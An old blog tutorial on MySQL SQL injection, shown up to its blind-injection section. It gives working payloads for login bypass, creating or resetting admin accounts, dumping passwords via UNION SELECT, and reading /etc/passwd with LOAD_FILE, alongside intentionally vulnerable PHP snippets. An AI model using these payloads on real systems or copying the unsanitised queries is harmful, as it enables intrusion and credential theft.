		<description><![CDATA[
		
		
		
		-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
Introduction
Injecting SQL
Exploiting a Login Form
Exploiting Different SQL Statement Type
Basic Victim Fingerprinting
Standard Blind SQL Injection
Double Query
Filters Evasion
SQL Injection Prevention
Conclusion
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;

&#8212;[  Introduction ]
Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.
I know that [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "MySQL%3A+Secure+Web+Apps+%26%238211%3B+SQL+Injection+techniques";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "-&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;IntroductionInjecting SQLExploiting a Login FormExploiting Different SQL Statement TypeBasic Victim FingerprintingStandard Blind SQL InjectionDouble QueryFilters EvasionSQL Injection PreventionConclusion&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Hi...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Introduction<br />
Injecting SQL<br />
Exploiting a Login Form<br />
Exploiting Different SQL Statement Type<br />
Basic Victim Fingerprinting<br />
Standard Blind SQL Injection<br />
Double Query<br />
Filters Evasion<br />
SQL Injection Prevention<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><span id="more-55"></span></p>
<p>&#8212;[  Introduction ]</p>
<p>Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning<br />
Web Application Security. The aim of these lines are to help you to understand security<br />
flaws regarding SQL Injection.</p>
<p>I know that maybe lots of things here explained are a little bit old; but lots of people<br />
asked to me by email how to find/to prevent SQL Injection flaws in their codes.</p>
<p>Yes, we could say that this is the second part of my first paper regarding PHP flaws<br />
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection<br />
(The reason? The focus was on an other principal theme).</p>
<p>How I wrote this paper? In my free time, a couple of lines to help people to find, prevent<br />
this kind of attacks. I hope you enjoy it. For any question or whatever please<br />
contact me here: omni_0 [at] yahoo [DOT] com .<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Injecting SQL ]</p>
<p>As you know almost every dynamic web applications use a database (here we talk<br />
about web application based on &#8220;LAMP architecture&#8221;) to store any kind of data needed<br />
by the application such as images path, texts, user accounts, personal information,<br />
goods in stock, etc.</p>
<p>The web application access to those information by using the SQL (Structured Query<br />
Language). This kind of applications construct one or more SQL Statement to query<br />
the DataBase (and for example to retrieve data); but this query sometimes incorporporate<br />
user-supplied data. (take in mind this)</p>
<p>What about SQL? SQL is a DML (Data Manipulation Language) that is used<br />
to insert, retrive and modify records present in the DataBase.</p>
<p>As I said before web application uses user-supplied data to query the DB but if the<br />
supplied data is not properly sanitized before being used this can be unsafe and<br />
an attacker can INJECT HIS OWN SQL code.<br />
These flaws can be very destructive because an attacker can:</p>
<p>- Inject his data<br />
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)<br />
- and so on..</p>
<p>The fundamentals of SQL Injection are similar to lots of DBMS but, as you know<br />
there are some differences, in this paper I will cover &#8220;Exploting SQL Injection<br />
in MySQL DBMS&#8221; as said upon (this means that if you want to test techniques here<br />
explained on others DBMS you need to try at your own).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Exploiting a Login Form ]</p>
<p>Sometimes happends that coders doesn&#8217;t properly sanitize 2 important variables<br />
such as user-name and password in the login form and this involve a critical<br />
vulnerability that will allow to the attacker the access to a reserved area.</p>
<p>Let&#8217;s make an example query here below:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; and password = &#8217;secret&#8217;</p>
<p>With this query the admin supply the username &#8216;admin&#8217; and the password &#8217;secret&#8217;<br />
if those are true, the admin will login into the application.<br />
Let us suppose that the script is vulnerabile to sql injection; what happends<br />
if we know the admin username (in this case &#8216;admin&#8217;)? We don&#8217;t know the password, but<br />
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.<br />
In this way:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; /*&#8217; and password = &#8216;foobar&#8217;</p>
<p>So, we supplied this information:</p>
<p>- As username = admin&#8217; /*<br />
- As password = foobar (what we want..)</p>
<p>Yes, the query will be true because admin is the right username but then with the<br />
&#8216; /* &#8216; symbol we commented the left SQL Statement.</p>
<p>Here below a funny (but true) example:</p>
<p>$sql = &#8220;SELECT permissions, username FROM $prefix&#8221;.&#8221;auth WHERE<br />
username = &#8216;&#8221; . $_POST['username'] . &#8220;&#8216; AND password = MD5(&#8217;&#8221;.$_POST['wordpass'].&#8221;&#8216;);&#8221;;</p>
<p>$query = mysql_query($sql, $conn);</p>
<p>The variables passed with the POST method are not properly sanitized before being used<br />
and an attacker can inject sql code to gain access to the application.<br />
This is a simple attack but it has a very critical impact.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Exploiting Different SQL Statement Type ]</p>
<p>SQL Language uses different type of statements that could help the programmer to<br />
make different queries to the DataBase; for example a SELECTion of record,<br />
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can<br />
&#8220;hack the query&#8221; in multiple ways; here below some examples.</p>
<p>SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SELECT Statement is used to retrieve information from the database; and is<br />
frequentely used &#8220;in every&#8221; application that returns information in response<br />
to a user query. For example SELECT is used for login forms, browsing catalog, viewing<br />
users infos, user profiles, in search engines, etc. The &#8220;point of failure&#8221; is<br />
often the WHERE clause where exactly the users put their supplied arguments.</p>
<p>But sometimes happends that the &#8220;point of failure&#8221; is in the FROM clause; this<br />
happends very rarely.</p>
<p>INSERT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSERT statement is used to add new row in the table; and sometimes the application<br />
doesn&#8217;t properly sanitize the data, so a query like the beneath could be vulnerable:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;new&#8217;, &#8216;pwd&#8217;, 10)</p>
<p>What happends if the pwd or username are not safe? We can absolutely &#8220;hack the<br />
query&#8221; and perform a new interesting query as shown below:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;hacker&#8217;, &#8216;test&#8217;, 1)/*&#8217;, 3)</p>
<p>In this example the pwd field is unsafe and is used to create a new user with<br />
the admin privilege (privilege = 1):</p>
<p>$SQL= &#8220;INSERT INTO usr (user, pwd, id) VALUES (&#8217;new&#8217;, &#8216;&#8221;.$_GET['p'].&#8221;&#8216;, 3)&#8221;;</p>
<p>$result = mysql_query($SQL);</p>
<p>UPDATE Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>UPDATE statement is used (as the word says) to UPDATE one or more records.<br />
This type of statement is used when users (logged into the application) need<br />
to change their own profile information; such as password, the billing address,<br />
etc. An example of how the UPDATE statement works is shown below:</p>
<p>UPDATE usr SET pwd=&#8217;newpwd&#8217; WHERE user = &#8216;billyJoe&#8217; and password = &#8216;Billy&#8217;</p>
<p>The field pwd in the update_profile.php form is absolutely &#8220;a user-supply data&#8221;; so,<br />
try to imagine what happends if the code is like the (vulnerable) code pasted below:</p>
<p>$SQL = &#8220;UPDATE usr SET pwd=&#8217;&#8221;.$_GET['np'].&#8221;&#8216; WHERE user = &#8216;billyJoe&#8217; and pwd = &#8216;Billy&#8217;&#8221;;<br />
$result = mysql_query($SQL);</p>
<p>In this query the password needs to be correct (so, the user needs to know his own password <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )<br />
and the password will be supplied with the GET method; but leave out this detail (it&#8217;s not so important<br />
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that<br />
is not sanitized); what happeds if we will inject our code here? Let see below:</p>
<p>UPDATE usr SET pwd=&#8217;owned&#8217; WHERE user=&#8217;admin&#8217;/*&#8217; WHERE user = &#8216;ad&#8217; and pwd = &#8217;se&#8217;</p>
<p>here we just changed the admin password to &#8216; owned &#8216; <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  sounds interesting right?</p>
<p>UNION SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>The &#8220;UNION SELECT Statement&#8221; is used in SQL to combine the results of 2<br />
or more different SELECT query; obviously in one result.<br />
This kind of statement is very interesting because when you have a SELECT query<br />
often you can add your own UNION SELECT statement to combine the queries (sure,<br />
only if you have a &#8220;bugged sql statement&#8221;) and view the 2 (or more) results in only<br />
one result set. To better understand what I mean I think is better to see an interesting<br />
example and put our hands on it.</p>
<p>Here is our vulnerable code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'];</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>// Our query is TRUE<br />
if ($result) {<br />
echo &#8216;&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;&#8217;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {</p>
<p>echo &#8216;&lt;br&gt;Title:&#8217;.$row[1].&#8217;&lt;br&gt;&#8217;;<br />
echo &#8216;&lt;br&gt;News:&lt;br&gt;&#8217;.$row[2];<br />
}</p>
<p>}</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As we can see the $SQL variable is vulnerable and an attacker can inject his own<br />
code into it and then gain interesting information. What happends if via browser we<br />
call this URL: http://www.victim.net/CMS/view.php?id=1 ?</p>
<p>Nothing interesting, just our news with the ID equal to 1, here below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>How to make this interesting? <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  We can use our UNION SELECT operator, and the<br />
resultant query will be:</p>
<p>select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1</p>
<p>What is gonna happend? Look below:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:secret</p>
<p>News:<br />
1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>&#8220;Title: secret&#8221; is the admin password (ID = 1 is the admin in most cases) and the 1 in the &#8220;News:&#8221;<br />
is the admin ID. So, why our output is so strange? This is not strange our tables has been made<br />
in different ways. Just to make things clear look the tables below:</p>
<p>mysql&gt; select * from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| user   | pwd    | id    |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| admin | secret |    1 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| ad     | aaaaa  |    2 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| new   | test    |    5 |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>mysql&gt; select * from news;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | title                | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 | testing news    | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    2 | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Our UNION SELECT query will be:</p>
<p>mysql&gt; select * from news where id = 1 union select * from usr where id = 1;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id      | title              | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1       | testing news | what about SQL Injection? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| admin | secret          | 1                                   |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Is now clear? We have found the admin password. It&#8217;s great!</p>
<p>Ok, lets go deeper; what happends if we have 2 tables with a different number of<br />
columns? Unfortunaltely UNION SELECT doesn&#8217;t work as show upon. I want to make<br />
2 different examples to help you.</p>
<p>LESS FIELDS<br />
&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| title               | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| testing news 2 | could be bypassed easily?      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>mysql&gt; select * from Anews union select * from usr;<br />
ERROR 1222 (21000): The used SELECT statements have a different number of columns</p>
<p>Yes, this is what happends if the UNION SELECT is used and the tables have a different<br />
number of columns. So, what we can do to bypass this?</p>
<p>mysql&gt; select * from Anews union select id, CONCAT_WS(&#8217; &#8211; &#8216;, user, pwd) from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| title          | texts                                  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   | admin &#8211; secret                |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 2                  | ad &#8211; aaaaa                      |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5                 | new &#8211; test                       |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>We bypassed &#8220;the problem&#8221; just using a MySQL function CONCAT_WS (CONCAT can be used too).<br />
Take in mind that different DBMS works in different way. I&#8217;m explaining in a general manner; therefore<br />
sometimes you have to find other ways. <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>MORE FIELDS<br />
&#8212;&#8212;&#8212;&#8212;-</p>
<p>mysql&gt; select * from fnews;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id   | pri   | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
|    1 |    0 | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>What we can do now? Easy, just add a NULL field!!</p>
<p>mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id   | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
|    1 |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    1 | admin             | secre                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    2 | ad                 | aaaaa                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| NULL |    5 | new               | test                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Basic Victim Fingerprinting ]</p>
<p>In this part of the paper I&#8217;ll explain some easy, but interesting, ways used while trying to do<br />
information gathering before the Vulnerability Assessment and Penetration Test steps.</p>
<p>This is our scenario: we found a bugged Web Application on the host and we can inject our<br />
SQL code.</p>
<p>So, what we need to know? Could be interesting to know the mysql server version;<br />
maybe it&#8217;s a bugged version and we can exploit it.</p>
<p>How to do that? (I will not use bugged code; I&#8217;ll just make some examples. Use your<br />
mind to understand how to use &#8220;these tips&#8221;)</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                               | pri     | title                | texts                            |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                                |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 5.0.22-Debian               | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Here our mysql version. Also the OS has been putted on the screen <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (take in mind that<br />
sometimes these information are modified).</p>
<p>Could be interesting to know the server time:</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| id                           | pri     | title               | texts                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 1                            |    0   | testing news 2 | could be bypassed easily?  |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>Yes, sometimes is useful to know what is the user used to connect to the database.</p>
<p>mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| id                  | pri     | title               | texts                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| 1                   |    0   | testing news 2 | could be bypassed easily? |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br />
| omni@localhost | NULL | NULL              | NULL                             |<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>An interesting function implemented in mysql server is LOAD_FILE that, as the<br />
word say, is able to load a file. What we can do with this? gain information and<br />
read files. Here below the query used as example:</p>
<p>select * from news where id=1 union select NULL,NULL,LOAD_FILE(&#8217;/etc/passwd&#8217;) from usr;</p>
<p>This is what my FireFox shows to me:</p>
<p>http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE(&#8217;/etc/password&#8217;)%20from%20usr;</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?<br />
Title:</p>
<p>News:<br />
root:x:0:0:root:/root:/bin/bash<br />
daemon:x:1:1:daemon:/usr/sbin:/bin/sh<br />
bin:x:2:2:bin:/bin:/bin/sh<br />
sys:x:3:3:sys:/dev:/bin/sh<br />
[...]<br />
[output cutted]<br />
[...]</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>Sounds interesting right, don&#8217;t you?</p>
<p>Could be interesting to get some sensitive information such as mysql users and passwords<br />
right? By injecting our code as shown below we can get such that information.</p>
<p>SELECT * FROM news WHERE id=&#8217;1&#8242; UNION SELECT Host, User, Password FROM mysql.user/*&#8217;<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Standard Blind SQL Injection ]</p>
<p>SQL Injection and Blind SQL Injection are attacks that are able to exploit a software<br />
vulnerability by injecting sql codes; but the main difference between these attacks<br />
is the method of determination of the vulnerability.</p>
<p>Yes, because in the Blind SQL Injection attacks, attacker will look the results<br />
of his/her requests (with different parameter values) and if these results will return<br />
the same information he/she could obtain some interesting data. (I know, it seems<br />
a bit strange; but between few lines you will understand better).</p>
<p>But why Standard Blind SQL Injection? What does it mean? In this part of the paper<br />
I&#8217;ll explain the basic way to obtain information with Blind SQL Injection without bear<br />
in mind that this type of attacks could be optimized. I don&#8217;t wanna talk about the<br />
methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that -<br />
&#8220;Optimizing the number of requests in blind SQL injection&#8221;).</p>
<p>Ok, let&#8217;s make a step forward and begin talking about Detection of Blind SQL Injection.<br />
To test this vulnerability we have to find a condition that is always true; for example<br />
1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE<br />
condition we don&#8217;t know if our new injected query will be true or false; therefore<br />
we have to make some tests. When the query is true? The query is true when the record<br />
returned contain the correct information. Maybe is a little bit strange this explanation but<br />
to make things clear I wanna let you see an example. Suppose that we requested this<br />
URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>WELCOME TO www.victim.net NEWS</p>
<p>Title:testing news</p>
<p>News:<br />
what about SQL Injection?</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>As you can see we have just viewed our first news (id=1). What happends if we request<br />
this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?<br />
In our browser we just see the same page because the query is obviously true.<br />
Here below the injected query:</p>
<p>SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1</p>
<p>Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand<br />
better how we can use this, I want to make a simple example/scenario. I&#8217;m thinking that<br />
the web application is connected to MySQL using the user omni; how to know this by using<br />
Blind SQL Injection? Just requesting this URL:</p>
<p>http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost&#8217;</p>
<p>and watch the reply sent on our browser. If in our FireFox (or whatever you want)<br />
we will see the news with ID=1 we know that omni is the user used to connect to<br />
the mysql deamon (because the query is true; and we found the true value to pass<br />
to the query).<br />
